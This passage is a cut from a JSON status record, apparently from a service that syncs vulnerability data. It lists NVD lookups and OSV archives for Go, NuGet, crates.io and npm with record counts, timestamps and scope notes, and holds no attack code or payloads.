backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}